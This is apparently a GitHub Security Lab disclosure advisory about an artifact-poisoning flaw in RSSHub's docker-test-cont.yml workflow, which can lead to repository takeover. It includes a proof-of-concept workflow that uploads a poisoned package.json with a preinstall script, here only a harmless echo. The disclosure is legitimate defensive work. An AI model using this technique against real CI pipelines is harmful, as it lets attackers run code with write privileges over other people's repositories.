Coordinated Disclosure Timeline

Summary

RSSHub’s docker-test-cont.yml workflow is vulnerable to Artifact Poisoning which may lead to a full repository takeover.

Project

RSSHub

Tested Version

Latest commit at the time of reporting.

Details

Artifact Poisoning in docker-test-cont.yml workflow. (GHSL-2024-178)

The docker-test-cont.yml workflow gets triggered when the PR - Docker build test workflow completes successfully:

on:
  workflow_run:
    workflows: [PR - Docker build test] # open, reopen, synchronized, edited included
    types: [completed]

It then collects some information about the Pull Request that triggered the triggering workflow and sets some labels depending on the PR body and sender. If the PR also contains a routes markdown block, it will set the TEST_CONTINUE environment variable to true.

The workflow then downloads and extracts an artifact uploaded by the triggering workflow which is expected to contain a single rsshub.tar.zst file. However, this is not validated and the contents are extracted in the root of the workspace overriding any existing files:

- name: Fetch Docker image
  if: (env.TEST_CONTINUE)
  uses: dawidd6/action-download-artifact@v6
  with:
    workflow: ${{ github.event.workflow_run.workflow_id }}
    run_id: ${{ github.event.workflow_run.id }}
    name: docker-image

After a few steps, the workflow installs the pnpm dependencies with:

- name: Install dependencies (pnpm) # require js-beautify
  if: (env.TEST_CONTINUE)
  run: pnpm i

Since the contents of the artifact have not been validated, it is possible for a malicious actor to send a Pull Request which uploads, not just the rsshub.tar.zst compressed docker image, but also a malicious package.json file with a script to run arbitrary code in the context of the privileged workflow.

PoC

- name: Test Docker image
  run: bash scripts/docker/test-docker.sh

- name: Export Docker image
  run: |
    mkdir payload
    cd payload
    docker save rsshub:latest | zstdmt -o rsshub.tar.zst
    cat <<EOF > package.json
    ADD HERE THE CONTENTS OF THE ORIGINAL PACKAGE.JSON (omitted for clarity) AND ADD A NEW PREINSTALL SCRIPT:
        `"preinstall": "echo COMPROMISED",`
    EOF

- name: Upload Docker image
  uses: actions/upload-artifact@v4
  with:
    name: docker-image
    path: payload
    retention-days: 1

Impact

The workflow runs with full-write privileges which may allow a malicious actor to take over the Repository:

  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

Resources

CVE

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-178 in any communication regarding this issue.